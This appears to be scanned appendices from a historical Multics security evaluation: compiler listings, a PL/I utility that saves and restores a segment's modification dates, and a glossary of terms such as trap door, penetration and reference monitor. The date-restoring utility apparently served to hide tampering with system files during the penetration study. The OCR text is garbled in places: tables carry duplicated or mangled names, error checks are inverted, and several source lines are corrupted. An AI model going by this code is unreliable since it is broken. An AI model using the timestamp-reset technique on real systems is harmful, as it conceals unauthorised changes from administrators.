<td>lca</td>
<td>000174</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>lca_except</td>
<td>000176</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>lca_except</td>
<td>000170</td>
<td>base</td>
<td>bit(35)</td>
<td></td>
</tr>
<tr>
<td>lca_get_ssegptr</td>
<td>000170</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>lca_get_ssegptr</td>
<td>000254</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td></td>
</tr>
<tr>
<td>lca_sefacc</td>
<td>000010</td>
<td>internal static</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>lca_sefptr</td>
<td>000012</td>
<td>internal static</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>targ</td>
<td>000112</td>
<td>automatic</td>
<td>char</td>
<td></td>
</tr>
<tr>
<td>tc</td>
<td>000122</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>tp</td>
<td>000252</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>tsegptr</td>
<td>000106</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>zg</td>
<td>000200</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>zg3</td>
<td>000202</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>names</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>error_table_knowns</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>expand_path_</td>
<td>000000</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>get_process_id_</td>
<td>000000</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>pad</td>
<td>000000</td>
<td>base</td>
<td>bit(30)</td>
<td></td>
</tr>
<tr>
<td>processid</td>
<td>000000</td>
<td>automatic</td>
<td>bit(35)</td>
<td></td>
</tr>
<tr>
<td>sda</td>
<td>000010</td>
<td>base</td>
<td>structure</td>
<td></td>
</tr>
<tr>
<td>sw</td>
<td>000070</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
</tbody>
</table>

### Names Declared by Declare Statement and Never Referenced

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>dirmname</td>
<td></td>
<td>automatic</td>
<td>char(160)</td>
<td></td>
</tr>
<tr>
<td>ename</td>
<td></td>
<td>automatic</td>
<td>char(32)</td>
<td></td>
</tr>
<tr>
<td>expand_path_</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>get_process_id_</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>pad</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>processid</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sda</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sw</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Names Declared by Explicit Context

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>endarg</td>
<td>000535</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>loop</td>
<td>000555</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>mess</td>
<td>000132</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>reset</td>
<td>000770</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>ip</td>
<td>000072</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
</tbody>
</table>

### Names Declared by Context or Implication

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>addr</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>basename</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Attributes and References

- **Level 2 packed unaligned dcl 31 set ref 74 78**
- **dcl 7 set ref 99 99 101**
- **dcl 7 set ref 40 41 45 46 48 50 57 61 86 87**
- **dcl 7 set ref 38 98 92 93 94**
- **external dcl 7 ref 48 56 86**
- **external dcl 7 ref 58 88**
- **external dcl 7 ref 74**
- **array dcl 7 set ref 74 66 68 69 75 80 95**
- **array dcl 7 set ref 67 88 95**
- **dcl 7 set ref 67 109**
- **dcl 7 set ref 37 66 74 78 93**
- **dcl 7 ref 41 57 87**
- **dcl 7 set ref 58 99 95**
- **dcl 7 set ref 45 54 84 85 86 88 90 94 95 95 95 99 100**
- **external dcl 7 set ref 10 50 70 75 99**
- **external dcl 7 ref 98**
- **external dcl 7 ref 99**
- **array dcl 7 set ref 93 93 109 109**
- **external dcl 7 ref 48 61**
- **dcl 35 set ref 79 113**
- **dcl 7 set ref 68 68**
- **dcl 7 set ref 47 48 54 59 59 60 79 79 80 80 83**
- **109 113 113**
- **unaligned dcl 7 set ref 11 45 60 90 98 88**
- **dcl 7 set ref 48 44 45 46 50 56 56 57 90 86 87 88 88**
- **dcl 7 set ref 40 45 48 50 56 58 86 88**
- **dcl 7 set ref 61 79 79 80 80 113 113**
- **external dcl 7 ref 80 79**
- **external dcl 7 ref 10 113 113**

**Unaligned dcl 7**

**Dcl 7**
STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>1526</td>
<td>1012</td>
<td>206</td>
<td>156</td>
<td>116</td>
</tr>
<tr>
<td>Length</td>
<td>1140</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

External procedure zp uses 244 words of automatic storage.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

r_e as call Ext_out_desc call Ext_out

rp4_loop l_12 bp

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

cu_set_arg_ptr cv_oct
loa_$nnfc ios_gread_ptr

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

error_table_ifno arg

| LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  | LINE | LOC  |
|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|------|
| 1    | 000071 | 37   | 000077 | 38   | 000101 | 40   | 000103 | 41   | 000121 | 42   | 000132 | 43   | 000147 |
| 45   | 000150 | 46   | 000202 | 47   | 000204 | 48   | 000207 | 49   | 000243 | 50   | 000256 | 51   | 000301 |
| 53   | 000302 | 54   | 000303 | 56   | 000310 | 57   | 000327 | 58   | 000340 | 59   | 000366 | 60   | 000372 |
| 61   | 000462 | 66   | 000430 | 67   | 000432 | 68   | 000435 | 69   | 000445 | 70   | 000447 | 71   | 000465 |
| 74   | 000466 | 75   | 000472 | 76   | 000513 | 78   | 000514 | 79   | 000517 | 80   | 000535 | 84   | 000553 |
| 85   | 000555 | 86   | 000556 | 87   | 000573 | 88   | 000604 | 89   | 000634 | 90   | 000665 | 92   | 000660 |
| 93   | 000641 | 94   | 000647 | 95   | 000656 | 96   | 000673 | 98   | 000715 | 99   | 000732 | 100  | 000751 |
APPENDIX F

Set Dates Utility Listing

This appendix is a listing of the set dates utility described in Section 3.4.4. The get entry point takes a pathname as an argument and remembers the dates on the segment at that time. The set entry point takes no arguments and sets the dates on the segment to the values at the time of the call to the get entry point. Set remembers the pathname as well as the dates and may be called repeatedly to handle the deactivation problem discussed in Section 3.4.4.
get:
proc;
/* Entry point to get the dates from a segment */
dcl
  cu_sarg_ptr entry (fixed bin, ptr, fixed bin, fixed bin);
  expand_path_entry (ptr, fixed bin, ptr, ptr, fixed bin);
  com_err_entry options (variable);
  hcs_status_long entry (char (*), char (*), fixed bin (1), ptr, ptr, fixed bin);
  hcs_set_dates entry (char (*), char (*), ptr, fixed bin);
dcl
  argc ptr,
  argl fixed bin,
  code fixed bin,
  dir char (168) int static init (" "),
  entry char (32) int static init (" "),
  arg char (argl) based (argc),
  bp ptr;
dcl
  time aligned internal static,
  2 (dtem, dtd, dtu, dts) bit (36) unaligned;
dcl
  1 branch aligned,
  2 (type bit (2), nnames bit (16), nrg bit (18), dtn bit (36), dtu bit (36), mode bit (5), padding
     bit (13), records bit (18), dtd bit (36), dtem bit (36), accf bit (36), curlen bit (12), bitcnt
     bit (24), did bit (4), sidx bit (4), copyw bit (1), pad2 bit (9), nbs (812) bit (6), uid bit (36)
   ) unali;
call cu_sarg_ptr (1, argc, argl, code);  /* get relative pathname from command line */
if code = 0 then do;
  call com_err_ (code, "get");
  return;
end;
call expand_path_ (argc, argl, addr (dir), addr (entry), code);
if code = 0 then do;
  call com_err_ (code, "get", arg);
  return;
end;
bp = addr (branch);
call hcs_status_long (dir, entry, 1, bp, null (), code);  /* read out dates on segment */
if code = 0 then go to error;
time.dtem = branch.dtem;  /* save dates in internal static */
time.dtd = branch.dtd;
time.dtu = branch.dtu;
time.dtm = branch.dtm;
return;
50 /e Entry to add the dates on a segment to the values at the time of the add call */
51
52 CALL ACSE, SET DATES (AD, ENTRY, ADON, TIME), CODE, /SET THE DATES Y/
53 IF CODE = 0 THEN GO TO err!!
54 end:
### NAMES DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>acct</td>
<td>6</td>
<td>automatic</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>argv</td>
<td>0</td>
<td>based</td>
<td>char</td>
<td>level 1 packed unaligned dcl 25</td>
</tr>
<tr>
<td>argep</td>
<td>0</td>
<td>fixed bin(17,0)</td>
<td>pointer</td>
<td>dcl 14 set ref 30 37 40 40</td>
</tr>
<tr>
<td>bitcnt</td>
<td>7(12)</td>
<td>automatic</td>
<td>bit(24)</td>
<td>dcl 14 set ref 30 37 40 40</td>
</tr>
<tr>
<td>bp</td>
<td>0</td>
<td>automatic</td>
<td>pointer</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>branch</td>
<td>0</td>
<td>structure</td>
<td></td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>code</td>
<td>0</td>
<td>fixed bin(17,0)</td>
<td></td>
<td>level 1 packed dcl 25 set ref 44</td>
</tr>
<tr>
<td>core</td>
<td>4</td>
<td>constant</td>
<td>entry</td>
<td>dcl 14 set ref 30 31 33 37 38 40 45 50 59 59</td>
</tr>
<tr>
<td>cseg_prt</td>
<td>10(10)</td>
<td>automatic</td>
<td>bit(1)</td>
<td>external dcl 8 ref 30</td>
</tr>
<tr>
<td>cu</td>
<td>7</td>
<td>automatic</td>
<td>bit(12)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>did</td>
<td>10</td>
<td>automatic</td>
<td>bit(4)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>dir</td>
<td>4</td>
<td>internal static</td>
<td>char(168)</td>
<td>initial unaligned dcl 14 set ref 37 37 45 59</td>
</tr>
<tr>
<td>dtd</td>
<td>1</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>dtwd</td>
<td>5</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>dtwd</td>
<td>3</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>dtu</td>
<td>1</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>entry</td>
<td>1</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>fseg</td>
<td>0</td>
<td>internal static</td>
<td>char(32)</td>
<td>initial unaligned dcl 14 set ref 37 37 45 59</td>
</tr>
<tr>
<td>hcs_set_data</td>
<td>0</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 37</td>
</tr>
<tr>
<td>hcs_status_long</td>
<td>0</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 37</td>
</tr>
<tr>
<td>addd</td>
<td>10(14)</td>
<td>automatic</td>
<td>bit(4)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>add</td>
<td>3</td>
<td>automatic</td>
<td>bit(5)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>add</td>
<td>10(18)</td>
<td>automatic</td>
<td>bit(6)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>names</td>
<td>0(8)</td>
<td>automatic</td>
<td>bit(16)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>mpr</td>
<td>0(18)</td>
<td>automatic</td>
<td>bit(18)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>psd2</td>
<td>10(9)</td>
<td>automatic</td>
<td>bit(13)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>records</td>
<td>3(10)</td>
<td>automatic</td>
<td>bit(18)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>time</td>
<td>0</td>
<td>internal static</td>
<td>structure</td>
<td>level 1 packed dcl 22 set ref 59 59</td>
</tr>
<tr>
<td>type</td>
<td>0</td>
<td>automatic</td>
<td>bit(2)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
<tr>
<td>uid</td>
<td>11</td>
<td>automatic</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 49</td>
</tr>
</tbody>
</table>

### NAMES DECLARED BY EXPLICIT CONTEXT.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>err</td>
<td>0</td>
<td>constant</td>
<td>label</td>
<td>dcl 33 ref 33 60</td>
</tr>
<tr>
<td>error</td>
<td>0</td>
<td>constant</td>
<td>label</td>
<td>dcl 64 ref 40 44</td>
</tr>
<tr>
<td>get</td>
<td>0</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 1 ref 1</td>
</tr>
<tr>
<td>set</td>
<td>0</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 54 ref 54</td>
</tr>
</tbody>
</table>

### NAMES DECLARED BY CONTEXT OR IMPLICATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>addr</td>
<td>0</td>
<td>built-in function</td>
<td></td>
<td>internal ref 37 37 37 44 59 59</td>
</tr>
<tr>
<td>null</td>
<td>0</td>
<td>built-in function</td>
<td></td>
<td>internal ref 45 45</td>
</tr>
</tbody>
</table>

### STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>350</td>
<td>130</td>
<td>360</td>
</tr>
<tr>
<td>Length</td>
<td>632</td>
<td>260</td>
<td>112</td>
<td>136</td>
<td>67</td>
</tr>
<tr>
<td></td>
<td>102</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.
call_ext_out_desc call_ext_out return ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.
com_err_ cu_sarg_ptr expand_path_ hcs_set_dates
hcs_status_long

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000012</td>
<td>30</td>
<td>000020</td>
<td>31</td>
<td>000037</td>
<td>33</td>
<td>000041</td>
<td>35</td>
<td>000060</td>
<td>37</td>
<td>000061</td>
<td>38</td>
<td>000104</td>
<td></td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>000106</td>
<td>42</td>
<td>000141</td>
<td>44</td>
<td>000142</td>
<td>45</td>
<td>000144</td>
<td>46</td>
<td>000204</td>
<td>48</td>
<td>000206</td>
<td>49</td>
<td>000211</td>
<td></td>
<td></td>
</tr>
<tr>
<td>50</td>
<td>000213</td>
<td>51</td>
<td>000215</td>
<td>52</td>
<td>000217</td>
<td>54</td>
<td>000220</td>
<td>59</td>
<td>000226</td>
<td>60</td>
<td>000255</td>
<td>61</td>
<td>000257</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
GLOSSARY

Access

"The ability and the means to approach, communicate with (input to or receive output from), or otherwise make use of any material or component in an ADP System." <DOD73>

Access Control List (ACL)

"An access control list (ACL) describes the access attributes associated with a particular segment. The ACL is a list of user identifications and respective access attributes. It is kept in the directory that catalogs the segment." <HIS73>

Active Segment Table (AST)

The AST contains an entry for every active segment in the system. A segment is "active" if its page table is in core. The AST is managed with least recently used algorithm.

Argument Validation

On calls to inner-ring (more privileged) procedures, argument validation is performed to ensure that the caller indeed had access to the arguments that have been passed to ensure that the called, more privileged procedure does not unwittingly access the arguments improperly.

Arrest

"The discovery of user activity not necessary to the normal processing of data which might lead to a violation of system security and force termination of the activity." <DOD73>
Breach

"The successful and repeatable defeat of security controls with or without an arrest, which if carried to consummation, could result in a penetration of the system. Examples of breaches are:
a. Operation of user code in master mode;
b. Unauthorized acquisition of I.D. password or file access passwords; and
c. Accession to a file without using prescribed operating system mechanisms." (DCD73)

Call Limiter

The call limiter is a hardware feature of the H1S 6180 which restricts calls to a gate segment to a specified block of instructions (normally a transfer vector) at the base of the segment.

Date Time Last Modified (DTM)

The date time last modified of each segment is stored in its parent directory.

Date Time Last Used (DTU)

The date time last used of each segment is stored in its parent directory.

Deactivation

Deactivation is the process of removing a segment page table from core.

Descriptor Base Register (DBR)

The descriptor base register points to the page table of the descriptor segment of the process currently executing on the CPU.

Descriptor Segment (DSEG)

The descriptor segment is a table of segment descriptor words which identifies to the CPU to which
segments, the process currently has access.

Directory

"A directory is a segment that contains information about other segments such as access attributes, number of records, names, and bit count." 〈HIS73〉

emergency_shutdown

"This mastermode module provides a system reentry point which can be used after a system crash to attempt to bring the system to a graceful stopping point." 〈SPS73〉

Fault Intercept Module (fim)

The fim is a ring 0 module which is called to handle most faults. It copies the saved machine state into an easily accessible location and calls the appropriate fault handler (usually the signaller).

Gate Segment

A gate segment contains one or more entry point used on inward calls. A gate entry point is the only entry in a inner ring that may be called from an outer ring. Argument validation must be performed for all calls into gate segments.

General Comprehensive Operating Supervisor (GCOS)

GCOS is the operating system for the Honeywell 600/6000 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

HIS 645

The Honeywell 645 is the computer originally designed to run Multics. It is a modification of the HIS 635 adding paging and segmentation hardware.
HIS 6180

The Honeywell 6180 is a follow-on design to the HIS 645. The HIS 6180 uses the advanced circuit technology of the HIS 6080 and adds paging and segmentation hardware. The primary difference between the HIS 6180 and the HIS 645 (aside from performance improvements) is the addition of protection ring hardware.

hcs_

The gate segment hcs_ provides entry into ring 0 for most user programs for such functions as creating and deleting segments, modifying ACL's, etc.

hphcs_

The gate segment hphcs_ provides entry into ring 0 for such functions as shutting the system down, hardware reconfiguration, etc. Its access is restricted to system administration personnel.

ITS Pointer

An ITS (Indirect To Segment) Pointer is a 72-bit pointer containing a segment number, word number, bit offset, and indirect modifier. A Multics PL/I aligned pointer variable is stored as an ITS pointer.

Known Segment Table (KST)

The KST is a per-process table which associates segment numbers with segment names. Details of its organization and use may be found in Organick. <ORG72>

Linkage Segment

"The linkage segment contains certain vital symbolic data, descriptive information, pointers, and instructions that are needed for the linking of procedures in each process." <ORG72>
Master Mode

When the HIS 645 processor is in master mode (as opposed to slave mode), any processor instruction may be executed and access control checking is inhibited.

Multics

Multics, the Multiplexed Information and Computing Service, is the operating system for the HIS 645 and HIS 6180 computers.

Multi-Level Security Mode

"A mode of operation under an operating system (supervisor or executive program) which provides a capability permitting various levels and categories or compartments of material to be concurrently stored and processed in an ADP system. In a remotely accessed resource-sharing system, the material can be selectively accessed and manipulated from variously controlled terminals by personnel having different security clearances and access approvals. This mode of operation can accommodate the concurrent processing and storage of (a) two or more levels of classified data, or (b) one or more levels of classified data with unclassified data depending upon the constraints placed on the systems by the Designated Approving Authority." (DOD73)

OS/360

OS/360 is the operating system for the IBM 360 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

Page

Segments may be broken up into 1024 word blocks called pages which may be stored in non-continuous locations of memory.
Penetration

"The successful and repeatable extraction and identification of recognizable information from a protected data file or data set without any attendant arrests." (DOD73)

Process

"A process is a locus of control within an instruction sequence. That is, a process is that abstract entity which moves through the instructions of a procedure as the procedure is executed by a processor." (DEN66)

Process Data Segment (PDS)

The PDS is a per-process segment which contains various information about the process including the user identification and the ring 0 stack. The PDS is accessible only in ring 0 or in master mode.

Process Initialization Table (PIT)

The PIT is a per-process segment which contains additional information about the process. The PIT is readable in ring 4 and writable only in ring 0.

Protection Rings

Protection rings form an extension to the traditional master/slave mode relationship in which there are eight hierarchical levels of protection numbered 0 - 7. A given ring N may access rings N through 7 but may only call specific gate segments in rings 0 to N-1.

Reference Monitor

The reference monitor is that hardware/software combination which must monitor all references by any program to any data anywhere in the system to ensure the security rules are followed.

a. The monitor must be tamper proof.

b. The monitor must be invoked for every
reference to data anywhere in the system.
c. The monitor must be small enough to be proven correct.

Segment

A segment is the logical atomic unit of information in Multics. Segments have names and unique protection attributes and may contain up to 256K words. Segments are directly implemented by the HIS 645 and HIS 6180 hardware.

Segment Descriptor Word (SDW)

An sdw is a single entry in a Descriptor Segment. The SDW contains the absolute address of the page table of a segment (if one exists) or an indication that the page table does not exist. The SDW also contains the access control information for the segment.

Segment Loading Table (SLT)

The SLT contains a list of segments to be used at the time the system is brought up. All segments in the SLT come from the system tape.

signaller

"signaller is the hardcore ring privileged procedure responsible for signalling all fault and interrupt-produced errors." 〈SPS73〉

Slave Mode

When the HIS 645 processor is in slave mode, certain processor instructions are inhibited and access control checking is enforced. The processor may enter master mode from slave mode only by signalling a fault of some kind.
Stack Base Register

The stack base register contains the segment number of the stack currently in use. In the original design of Multics, the stack base was locked so that interrupt handlers were guaranteed that it always pointed to a writable segment. This restriction was later removed allowing the user to change the stack base arbitrarily.

subverter

The subverter is a procedure designed to test the reliability of security hardware by periodically attempting illegal accesses.

Trap door

Trap doors are unnoticed pieces of code which may be inserted into a system by a penetrator. The trap door would remain dormant within the software until triggered by the agent. Trap doors inserted into the code implementing the reference monitor could bypass any and all security restrictions on the systems. Trap doors can potentially be inserted at any time during software development and use.

WWMCCS

WWMCCS, the World Wide Military Command and Control System, is designed to provide unified command and control functions for the Joint Chiefs of Staff. As part of the WWMCCS contract for procurement of a large number of HIS 6000 computers, a set of software modifications were made to GCOS, primarily in the area of security. The WWMCCS GCOS security system was found to be no more effective than the unmodified GCOS security, due to the inherent weaknesses of GCOS itself.